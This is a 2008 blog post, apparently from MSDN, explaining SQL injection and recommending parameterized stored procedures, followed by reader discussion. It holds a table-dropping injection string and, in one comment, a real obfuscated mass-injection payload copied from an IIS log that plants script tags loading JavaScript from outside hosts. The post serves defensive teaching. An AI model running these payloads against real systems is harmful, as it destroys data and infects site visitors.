Share via

SQL Injection and how to avoid it

  • Article

It isn't as big of a deal at the moment, but it is always good to make sure everyone is aware of this and how dangerous it can be.  There is some very good information on it located on MSDN here.  The important part is to remember that anytime you take input from an external source (someone typing on a web page), they don't always have to put in what you expect.

The safest way to keep yourself safe from SQL Injection is to always use stored procedures to accept input from user-input variables.  It is really simple to do this, for example, this is how you don't want to code things:

 var Shipcity;
ShipCity = Request.form ("ShipCity");
var sql = "select * from OrdersTable where ShipCity = '" + 
          ShipCity + "'";

This allows someone to use SQL Injection to gain access to your database.  For example, imagine if someone put in the following for the "ShipCity":

 Redmond'; drop table OrdersTable--

This would delete the entire table!  If you have seen much on SQL Injection, they have figured out all kinds of ways to get information about your database or server, so don't think they can't find the names of tables, etc.

The correct way to do this would be using a stored procedure as follows:

 SqlDataAdapter myCommand = new SqlDataAdapter("AuthorLogin", conn);
myCommand.SelectCommand.CommandType = CommandType.StoredProcedure;
SqlParameter parm = myCommand.SelectCommand.Parameters.Add("@au_id",
     SqlDbType.VarChar, 11);
parm.Value = Login.Text;

Then you will be protected.  Be sure to use parameterized stored procedures to keep the stored procedure from having the same problem as before.

-- Update --

The above code would call a stored procedure that would be something like:

 CREATE PROCEDURE AuthorLogin @au_id varchar(11)
AS
SET NOCOUNT ON
SELECT Author from AuthorTable WHERE au_id = @au_id
GO

Note: the "SET NOCOUNT ON" will prevent SQL Server from sending the DONE_IN_PROC message for each statement in a stored procedure which will improve performance especially for large stored procedures.

-- End Update --

There are other hints and advice on the MSDN article that you can check out, but this is the major piece of advice to know.

There is also some additional information that you can find here.  You can find more information and a video at Explained – SQL Injection and another video about it here.  There are tons of links on the web so feel free to research this more to be sure you are safe from this problem.

Here are a few other links to help on the subject:

SQL Injection Attack from the SWI team at Microsoft

Preventing SQL Injections in ASP

Filtering SQL Injection From Classic ASP

Classic ASP which is still alive and parameterized queries

ISAPI filter to protect against SQL Injection

Michael Sutton's Blog on SQL Injection

kick it on DotNetKicks.com

Comments

  • Anonymous
    May 29, 2008
    You've been kicked (a good thing) - Trackback from DotNetKicks.com

  • Anonymous
    May 29, 2008
    Can we not just use parameterized inline sql. Has the same protection and removes a layer of maintenance.

  • Anonymous
    May 29, 2008
    Although stored procedures are usually better practice, they aren't the only answer here.  Plain old paramaterized text queries will do the trick too.

  • Anonymous
    May 29, 2008
    Stevef, That is an option also.  Stored procedures allow you to do more validation if you want, but that would work as well for the majority of issues.

  • Anonymous
    May 29, 2008
    The comment has been removed

  • Anonymous
    May 29, 2008
    Kris, Thanks for including that.  You are right, I should have added that as well and performance is a big reason for using a stored procedure.

  • Anonymous
    May 29, 2008
    The comment has been removed

  • Anonymous
    May 29, 2008
    the performance gain you get using a stored procedure is more or less neglible, unless you're running large queries. The same can be said of the network traffic you're saving.

  • Anonymous
    May 29, 2008
    The comment has been removed

  • Anonymous
    May 29, 2008
    The comment has been removed

  • Anonymous
    May 29, 2008
    Also, my two cents on inline SQL vs. stored procedures: SPs simplify security; if all the data access and manipulation is done via stored procedures, you don't have to grant the application's account direct CRUD access to table.

  • Anonymous
    May 29, 2008
    it contain more js like，every colum contain like <script src=http://s.see9.us/s.js></script> <script src=http://%61%31%38%38%2E%77%73/1.js></script><!"></title><script src=http://%61%2E%6B%61%34%37%2E%75%73/1.js></scr"></title><script src=http://%61%2E%6B%61%34%37%2E%75%73/1.js></scr'      width=50    border=0> I open iis log, it is  some like http://www.19cn.com/showdetail.aspx?id=19;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=['%2b@c%2b']%2bcAsT(0x3C2F7469746C653E3C736372697074207372633D687474703A2F2F2536312533312533382533382532452537372537332F312E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;-- what does that mean?I think it must be here have bad, I change databa password,but no result

  • Anonymous
    May 29, 2008
    Kris, I'll see what I can do and put up a sample stored procedure with spacing well and add it to this blog post.  Why are you switching to Oracle?

  • Anonymous
    May 29, 2008
    Tom, We're switching to oracle because our main software branch and the development team along with it, were basically bought up by a huge US corporation. They're already running a lot of oracle based systems worldwide and since they're going to be "running the show", they've mandated the switch. It kinda excites me for the challenges it will bring. My database background has always been pretty much mysql only before I got this job. And i remember the mental effort required to make the switch to SqlServer was big, but overall it's been a great learning experience. I'll never know even nearly everything I'd like to know, but every new thing mastered is a step in the right direction.

  • Anonymous
    May 29, 2008
    On the subject, cracked me up http://xkcd.com/327

  • Anonymous
    May 29, 2008
    Jeff, I still dont see this as a major win against the overhead of creating CRUD procs on a large db. Surely if someone can gain access to your tables directly through somehow getting and using application credentials then you have got a much bigger infrastructure security issue.

  • Anonymous
    May 30, 2008
    Tom, good job on the update, especially with the "Note: the "SET NOCOUNT ON" will prevent SQL Server from sending the DONE_IN_PROC message for each statement in a stored procedure which will improve performance especially for large stored procedures." I had no idea that did anything besides make sqlwb's output log more readable. means i'm still learning this stuff :-)

  • Anonymous
    May 30, 2008
    Would using the parameters 'addwithvalue' command help prevent SQL injection? ie.  insertcmd.Parameters.AddWithValue(@user, this.txtlogin.txt)

  • Anonymous
    May 30, 2008
    Stevef, point taken: If hackers get that far, you've got major security issues. I still like the approach's simplicity though. Especially if someone else is responsibly for maintaining the database security for my application. ;) At the agency I work for, the SP approach is the standard way of doing things. An SP layer will more clearly delineate application/service boundaries and is simpler to manage security on, period.

  • Anonymous
    May 30, 2008
    Chris, Yes, that is what Stevef was suggesting also.  That would work.

  • Anonymous
    May 30, 2008
    Chris, using AddWithValue is risky because the allowed length of the parameter is inferred from the length of the input in the case of strings. It's better to create a formal parameter so you can assign a data type and a maximum length for the paramter's value. I use AddWithValue for numeric values, and it's also OK to use them if you've previously validated the string value.

  • Anonymous
    May 30, 2008
    The hyperlinks related to classic ASP are dead

  • Anonymous
    May 31, 2008
    Michelle, They are fixed now.  Sorry about that.

  • Anonymous
    June 02, 2008
    My previous post on this topic generated so much discussion that I thought I should post about it some

  • Anonymous
    June 02, 2008
    Is anyone here using Linq to SQL? After using it you can't go back. SQL injection is not an issue and I feel that the LINQ to SQL "sql" is more optimized than CRUD stored procedures. For example an update stored procedure is writen to usually update every field even if only one is changed. A Linq to SQL update statement only updates the fields being updated. This is really helpful because it wont lock the whole row.

  • Anonymous
    June 02, 2008
    I do not know what is the scariest: still having to talk about SQL injections in 2008 or telling people to use stored procedures for CRUD operations. I reckon this post is a good thing because constant reminders are what prevent forgetting things.

  • Anonymous
    June 03, 2008
    Though it's likely a subset of other information that has been linked to, I didn't see this listed, and thought it may be relevant / beneficial / supporting: Giving SQL Injection the Respect it Deserves @ http://blogs.msdn.com/sdl/archive/2008/05/15/giving-sql-injection-the-respect-it-deserves.aspx

  • Anonymous
    June 03, 2008
    Adefwebserver, Very good point.  I'll have to look into this and maybe post an example on here.

  • Anonymous
    June 03, 2008
    Molotov, It is always good to point it out directly though.  Thanks.

  • Anonymous
    June 03, 2008
    What I really want to know is why in the world any DBA would allow a sql server login for a public website to have DROP TABLE permissions.  That just defies logic.

  • Anonymous
    June 04, 2008
    The "Filtering SQL Injection From Classic ASP" provides the fastest method to do something "right now" while you are recoding to use sql parameters. It allows you to put an "include" at the top of your pages.

  • Anonymous
    June 05, 2008
    my web has javasript, I'd suggest you create a case with Microsoft and let us look into it.  We will be able to track down what happened and help get things working correctly again. Check out: http://blogs.msdn.com/tom/archive/2007/11/15/contacting-tom.aspx For information about contacting Microsoft.

  • Anonymous
    July 30, 2008
    The comment has been removed

  • Anonymous
    October 15, 2008
    The purpose of this blog post is to review the concept of SQL Injection attacks, to introduce URLScan

  • Anonymous
    October 15, 2008
    The purpose of this blog post is to review the concept of SQL Injection attacks, to introduce URLScan

  • Anonymous
    October 28, 2009
    The comment has been removed

  • Anonymous
    August 26, 2011
    Check this Blog: www.mindstick.com/.../Preventing%20SQL%20Injection